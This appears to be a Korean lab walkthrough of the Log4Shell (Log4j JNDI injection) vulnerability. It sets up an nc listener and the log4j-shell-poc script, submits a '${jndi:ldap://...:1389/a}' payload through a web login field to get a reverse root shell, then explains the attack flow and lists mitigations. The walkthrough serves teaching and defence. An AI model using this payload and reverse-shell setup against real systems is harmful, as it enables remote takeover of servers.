취약서버 웹 브라우저에서 localhost:8080 경로로 접근하고 대기합니다. 공격자 서버로 와서 ifconfig 를 통해 공격자의 ip 를 알아냅니다.
IP : 192.168.23.129 Sudo 로 루트권한을 얻은 후, Listen 모드로 local port 9001 번을 오픈합니다.
새로운 터미널을 오픈하고 Log4j-shell-poc 가 있는 곳으로 이동합니다.
파이썬을 활용하여 poc.py 를 실행합니다.
python3 poc.py –userip localhost –webport 8000 –lport 9001
userip = userip
webport = 웹 접속을 위한 포트번호
lport = reverse shell 이 대기하고 있는 포트번호
Setting up LDAP server 를 보면 LDAP 서버가 동작하는 것을 볼 수
있습니다. 공격자의 준비된 전체 화면 입니다.
왼쪽 위 터미널을 보면 LDAP 서버가 실행중입니다.
오른쪽 위 터미널을 보면 NC 포트가 리스닝 상태로 대기합니다.
취약 서버의 웹페이지로 접근합니다. 웹페이지 ID 입력창에
${jndi:ldap://공격자의 ip 주소:1389/a}를 치면 LDAP 와 nc port 가
연결됩니다. Id 명령어로 확인해보니 취약서버의 루트권한을 가져왔습니다
id 명령어로 루트권한을 확인
ip addr 로 공격자의 ip 가 취약서버의 ip 와 일치하는 것을 볼 수
있습니다
공격이 이루어지는 과정
해커는 자신의 악성 LDAP server 를 호출할 수 있는 정보를
포함한 코드를 전달.
취약 서버는 그 코드를 로그로 출력합니다
Log4j 의 lookup 기능으로 인해 자동으로 ${jndi:..}를
확인하고 자동으로 ldap:악성 LDAPserver 요청
악성 서버는 악성 명령어를 보냄
명령어를 받은 취약 서버는 악성 명령어를 실행
Log4j 공격을 방어하기 위한 방법
JndiLookup 클래스를 제거:
⚫ # zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
⚫ PatternLayout 에 들어가서 {ctx:loginId} or ${ctx:loginId} 을 제거 or (%X, %mdc, or %MDC) 변경
로그 메시지가 런타임에 동적으로 형식화 되지 않도록 한다.
⚫ system property의 log4j2.formatMsgNoLookups 값을 true로 변경
⚫ 환경 변수의 LOG4J_FORMAT_MSG_LOOKUPS 값을 true로 변경